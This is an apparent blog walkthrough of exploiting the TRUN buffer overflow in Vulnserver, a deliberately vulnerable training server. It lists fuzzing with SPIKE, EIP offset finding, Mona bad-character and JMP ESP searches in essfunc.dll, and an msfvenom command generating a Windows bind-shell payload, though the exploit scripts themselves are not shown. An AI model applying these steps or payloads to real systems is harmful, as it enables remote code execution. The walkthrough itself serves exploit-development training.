Vulnserver Buffer Overflow — TRUN

What is vulnserver?

Tools used

  • Immunity debugger
  • Spike
  • nmap
  • Netcat
  • monapy
  • Microsoft Code
Default port used by vulnserver
nc -nv 9999
Initial connection
TRUN input
Attack vulnserver to Immunity
s_string("TRUN ");
generic_send_tcp 9999 buff.spk 0 0
Fuzzing stops
Exploit 1
Crash replicated
Generate 5000 character string
Exploit 2
EIP replaced to 6F43376F
Metasploit Pattern Offset
Mona Findmsp
Exploit 3
Exploit 3 results
!mona bytearray
Exploit 4
No more bad characters
!mona jmp -r esp -m “essfunc.dll”
jmp esp for essfunc.dll
msfvenom -p windows/shell_bind_tcp EXITFUNC=thread -b "\x00" -f c
  • The JMP ESP from the DLL identified
  • A nopsled before the shellcode (24 NOP instructions)
Exploit 5



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Brenton Swanepoel

Brenton Swanepoel

Excited about OSINT, threat hunting and the general breaking of things